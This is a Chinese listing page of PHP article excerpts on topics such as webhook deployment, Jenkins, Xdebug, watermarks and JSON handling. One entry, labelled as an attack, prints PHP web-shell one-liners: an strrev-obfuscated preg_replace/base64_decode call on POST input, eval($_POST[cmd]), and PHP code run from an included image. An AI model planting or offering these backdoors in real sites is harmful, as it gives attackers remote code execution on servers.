• 利用WebHook实现PHP自动部署Git代码

    时间:2023-12-25 10:49:19

    平时项目代码都托管在Coding,然后每次提交了代码之后都要SSH到服务器上去git pull一次,很是繁琐,在看了OverTrue的《使用PHP脚本远程部署git项目》后就尝试在自己服务器上搞一下自动化部署,下面把部署步骤列出来算是一个分享与备忘。首先在Coding上创建一个项目,然后在本地clo...

  • Jenkins发布PHP代码

    时间:2023-12-24 15:26:41

    实验环境10.0.0.12 Jenkins服务器10.0.0.13 远程服务器一个远程的公开的git仓库(php代码在这个仓库里)一.检查插件是否安装并安装插件在通过Jenkins发布php代码之前,我们首先需要在Jenkins服务的web页面上检查一下 “Git plugin” 和 “Publis...

  • php获取客户端公网ip代码

    时间:2023-12-23 10:23:48

    <?php/*如果是本地服务器获取客户端的ip地址是 127.0.0.1如果是域名服务器获取客户端的是公网ip地址*/function get_client_ip() { $ipaddress = ''; if (getenv('HTTP_CLIENT_IP')) ...

  • PHP 透明水印生成代码

    时间:2023-12-21 11:33:27

    PHP 透明水印生成代码,需要的朋友可以参考下。复制代码代码如下:<?php /* * Created on 2010-10-27 * BY QQ542900563 * Copyrights Reserved 2000-2020 * 本例演示图片水印的生成办法 * www.jbxue.com*...

  • NetBeans+Xdebug调试php代码

    时间:2023-12-19 08:45:54

    本文目录 :Xdebug的工作原理Xdebug扩展的配置NetBeans的配置调试实例本文小结参考文档Xdebug:是PHP的调试器和分析器(Debugger and Profiler Tool for PHP)。本章着重讲PHP的调试。日常开发PHP,有时遇到需要频繁打印变量的情况,一直用 var...

  • php 批量生成html,txt文件的方法(实例代码)

    时间:2023-12-16 16:06:24

    php批量生成html,txt文件的实现代码。首先,建立一个conn.php 链接数据库。<?php$link = mysql_connect("mysql_host" , "mysql_user" , "mysql_password" )or die("Could not connect :...

  • php 运行客户提交代码(攻击)和运行图片中的代码

    时间:2023-12-15 19:17:28

    1、$a=@strrev(ecalper_gerp);$b=@strrev(edoced_46esab);@$a($b(L3h4L2Ug),$_POST[POST],bxxb);2、<?php eval($_POST[cmd])?> 3、运行图片中的PHP代码,include 1.jpg

  • JS中encodeURIComponent函数用php解码的代码

    时间:2023-12-13 19:03:58

    JS中encodeURIComponent函数给中文编码后,如何用php解码?? 前提:编码前的中文可能是gbk,gb2312,utf-8等。复制代码 代码如下:urldecode() iconv() 在JS中使用了encodeURIComponent对中文进行编码在PHP中使用iconv('UTF...

  • 浅谈PHP代码设计结构

    时间:2023-12-09 18:37:04

    浅谈PHP代码设计结构您的评价:还行 收藏该经验    coding多年,各种代码日夜相伴,如何跟代码友好的相处,不光成为职业生涯的一种回应,也是编写者功力的直接显露。如何看待程序和代码呢?那就让我们从程序定义来谈起,如果从业务最终呈现来看,一个程序可以看成是一个真实业务需求的逻辑代码映射。如果从程...

  • PHP代码编写的优化

    时间:2023-12-06 15:29:05

    // $b 会新创建一个内存空间 $a = array('a'=>'aa','b'=>'bb'); $b = $a; $a['c'] = 'cc'; // $b 会引用 $a 的内存空间 $a = array('a'=...

  • 在PHP项目中使用Standford Moss代码查重系统

    时间:2023-12-05 22:07:07

    Standford Moss 系统是斯坦福大学大名鼎鼎的代码查重系统,它可以查出哪些同学提交的代码是抄袭别人的,从而将提交结果拒之门外。它对一切希望使用该系统的人都是开放的,那么在PHP的项目中如何使用它呢?下载Moss的PHP文件moss.php您可以访问https://github.com/Ph...

  • php代码效率小常识

    时间:2023-12-05 19:48:13

    1, 尽量不要使用@来进行抑制错误,效率很低2,能使用单引号时不要使用双引号3,echo的效率比print要高,同时echo可以输出多个变量4,使用include,require时候最好使用绝对路径5,如果你想知道脚本开始执行(译注:即服务器端收到客户端请求)的时刻,使用$_SERVER[‘REQU...

  • php 基础代码大全(不断完善中)

    时间:2023-12-03 09:26:21

    下面是基础的PHP的代码,不断完善中~ //语法错误(syntax error)在语法分析阶段,源代码并未被执行,故不会有任何输出。 /* 【命名规则】 */ 常量名 类常量建议全大写,单词间用下划线分隔 // MIN_WIDTH 变量名建议用下划线方式分隔 // $va...

  • 高质量PHP代码的50个实用技巧必备(下)

    时间:2023-12-01 16:56:20

    26. 避免直接写SQL, 抽象之 不厌其烦的写了太多如下的语句:?12<span style="color:#333333;font-family:''Helvetica, Arial, sans-serif'';">$query = "INSERT INTO users(name ,...

  • php 截取代码方法(140个字后的。)

    时间:2023-11-30 19:02:55

    //截取摘要public static function mbsubstr($str){    $strleng = mb_strlen($str,"utf8");    $mbstr = mb_substr($str,0,140,'utf8');    $strdstr = mb_substr($...

  • 批量录入快递地址-快宝地址服务(PHP代码示例)

    时间:2023-11-30 13:37:12

    快递地址写错了怎么办?快递地址写的不详细怎么办?怎么皮批量录入收件人地址?微商怎么批量录入发件人地址?快宝地址清洗,有效的解决了寄送快递时,批量录入收件人信息、发件人信息时,纠正地址数据,不完整地址识别,地址信息不完整时补全,已经合并区县的地址更正为最新的区县等,并输出结构化地址数据的一个有效方案。...

  • PHP - 代码分离

    时间:2023-11-29 16:17:14

    总代码:<?php /* * Version:1.0 * CreateTime:2015年11月11日 * Author:HF_Ultrastrong *///引入公共文件,在公共文件中创建,相对于项目的绝对路径 require dirn...

  • linux中c语言和php语言通信代码UDP&TCP

    时间:2023-11-27 21:10:27

    linux中c语言和php语言通信代码UDP&TCPhttp://blog.chinaunix.net/uid-24015214-id-2644174.htmlUDP方式通信服务器端server.c /*server.c*/ #include <string.h> #includ...

  • laravel 整合 swoole ,并简单 ab 测试对比性能以及在 PHPstorm 中利用debug调试配置swoole服务中的PHP代码

    时间:2023-11-25 18:08:06

    安装PHP 的 swoole 扩展 及 安装 laravel,就不描述了整合 laravel 和 swoole 用了这个轮子,侵入性很小,一行代码搞定,推荐一下,今天刚用,不能预测未来是否会遇见坑https://github.com/swooletw/laravel-swoole文档也讲的相对清楚安...

  • 在PHP代码中处理JSON 格式的字符串的两种方法:

    时间:2023-11-25 14:42:57

    总结:在PHP代码中处理JSON 格式的字符串的两种方法:方法一:$json= '[{"id":"1","name":"\u5f20\u96ea\u6885","age":"27","subject":"\u8ba1\u7b97\u673a\u79d1\u5b66\u4e0e\u6280\u672f...